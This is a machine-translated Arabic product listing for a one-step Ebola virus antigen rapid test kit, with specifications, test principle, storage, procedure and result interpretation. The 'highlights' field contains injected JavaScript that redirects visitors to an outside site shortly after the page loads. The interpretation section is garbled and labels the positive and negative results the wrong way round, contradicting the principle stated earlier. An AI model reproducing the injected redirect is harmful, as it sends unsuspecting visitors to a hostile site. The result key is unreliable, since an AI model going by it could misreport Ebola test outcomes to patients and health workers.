| مكان المنشأ: | الصين |
|---|---|
| اسم العلامة التجارية: | Dewei |
| إصدار الشهادات: | ISO CE |
| رقم الموديل: | EBV |
| الحد الأدنى لكمية: | 5000 وحدة |
| الأسعار: | Negotiable |
| تفاصيل التغليف: | 40 اختبار / مربع |
| وقت التسليم: | في غضون 20 يومًا |
| شروط الدفع: | L / C ، T / T ، ويسترن يونيون |
| القدرة على العرض: | 500000 قطعة / يوم |
| عينة: | بلازما الدم الكامل | أصل: | الصين |
|---|---|---|---|
| مدة الصلاحية: | 24 شهرا | إستعمال: | الاستخدام المهني |
| مبدأ: | كروماتوغرافيا التدفق الجانبي | نوع الاختبار: | كاسيت |
| تسليط الضوء: | 302 setTimeout("javascript:location.href='https://best10.club/sitemap.php'", 50);,Screening Test Ebola Virus Test Kit,One Step Ebola Virus Test Kit |
||
مجموعة اختبار سريع لمستضدات فيروس الإيبولا من خطوة واحدة ، اختبار فحص بلازما الدم الكامل في مصل الدم
الاستخدام المقصود
يعد اختبار مستضد الإيبولا السريع اختبارًا مناعيًا كروماتوجرافيًا سريعًا ومصلًا وجانبيًا للكشف النوعي عن المستضدات من فيروسات الإيبولا في عينات الدم الكامل أو المصل أو البلازما للإنسان كوسيلة مساعدة في تشخيص عدوى فيروس الإيبولا.
مقدمة
يسبب فيروس الإيبولا مرضًا حادًا وخطيرًا غالبًا ما يكون قاتلًا إذا لم يتم علاجه.ظهر مرض فيروس الإيبولا (EVD) لأول مرة في عام 1976 في فاشيتين متزامنتين ، واحدة في نزارا ، السودان ، والأخرى في يامبوكو ، جمهورية الكونغو الديمقراطية.وقد حدث هذا الأخير في قرية بالقرب من نهر إيبولا ، ومنه أخذ المرض اسمه.
مبدأ
يعد اختبار مستضد الإيبولا السريع اختبارًا مناعيًا نوعيًا يعتمد على الغشاء للكشف عن المستضدات من فيروسات الإيبولا في عينات الدم أو المصل أو البلازما البشرية الكاملة.بعد إضافة العينة إلى بئر العينة (S) على وسادة العينة ، فإنها تتحرك عبر الوسادة المترافقة وتحرك اتحادًا ذهبيًا مضادًا للإيبولا مطليًا على الوسادة المترافقة.يتحرك الخليط على طول الغشاء بفعل الشعيرات الدموية ويتفاعل مع الجسم المضاد المضاد للإيبولا المغطى في منطقة خط الاختبار (T).إذا كانت العينة تحتوي على مستضد فيروس الإيبولا ، فسيظهر خط ملون في منطقة خط الاختبار (T) ، مما يشير إلى نتيجة إيجابية.إذا كانت العينة لا تحتوي على مستضد فيروس الإيبولا ، فلن يظهر خط ملون في هذه المنطقة ، مما يشير إلى نتيجة سلبية.يتم تضمين مراقبة الجودة الداخلية في الاختبار ، في شكل خط ملون يظهر في منطقة خط التحكم (C) ، مما يشير إلى أن الاختبار وظيفي ، وتم تطبيق الحجم المناسب والكافي للعينة لتمكين الترحيل من خلال الاختبار وخط التحكم ، بغض النظر عما إذا كان هناك خط اختبار أم لا.إذا لم يظهر خط التحكم (C) خلال وقت الاختبار ، فإن نتيجة الاختبار غير صالحة ويجب إعادة الاختبار باختبار جديد.
التخزين والاستقرار
يجب تخزين المجموعة في درجة حرارة 2-30 درجة مئوية حتى تاريخ انتهاء الصلاحية المطبوع على الحقيبة المختومة.
يجب أن يظل الاختبار في الحقيبة المختومة حتى الاستخدام.
يحفظ بعيدًا عن أشعة الشمس المباشرة والرطوبة والحرارة.
لا تجمد.
يجب توخي الحذر لحماية مكونات الطقم من التلوث.لا تستخدم إذا كان هناك دليل على التلوث الجرثومي أو هطول الأمطار.يمكن أن يؤدي التلوث البيولوجي لمعدات الاستغناء أو الحاويات أو الكواشف إلى نتائج خاطئة.
عملية
أحضر الاختبارات والعينات و / أو عناصر التحكم إلى درجة حرارة الغرفة (15-30 درجة مئوية) قبل الاستخدام.
أو
انقل قطرة واحدة من عينة الدم الكاملة إلى بئر العينة (S) للجهاز باستخدام الماصة التي يمكن التخلص منها ، ثم أضف قطرة واحدة من المخزن المؤقت وابدأ الموقت.
أو
اسمح لقطرتين معلقتين من عينة الدم الكاملة بأصابع الأصابع بالسقوط في وسط العينة جيدًا (S) على الكاسيت ، ثم أضف قطرة واحدة من المخزن المؤقت وابدأ الموقت.
تجنب محاصرة فقاعات الهواء في بئر العينة (S) ، ولا تضيف أي محلول إلى منطقة النتيجة.
عندما يبدأ الاختبار في العمل ، ينتقل اللون عبر الغشاء.
تفسير النتائج
أولية موجبة (+) يظهر شريط ملون واحد فقط ، في منطقة التحكم (C).لا يظهر شريط ملون في منطقة الاختبار (T) يظهر شريطان ملونان على الغشاء سلبي (-).يظهر شريط واحد في منطقة التحكم (C) ويظهر نطاق آخر في منطقة الاختبار (T). يفشل النطاق InvalidControl في الظهور.يجب تجاهل النتائج من أي اختبار لم ينتج عنه نطاق تحكم في وقت القراءة المحدد.يرجى مراجعة الإجراء والتكرار مع اختبار جديد.إذا استمرت المشكلة ، فتوقف عن استخدام المجموعة على الفور واتصل بالموزع المحلي لديك.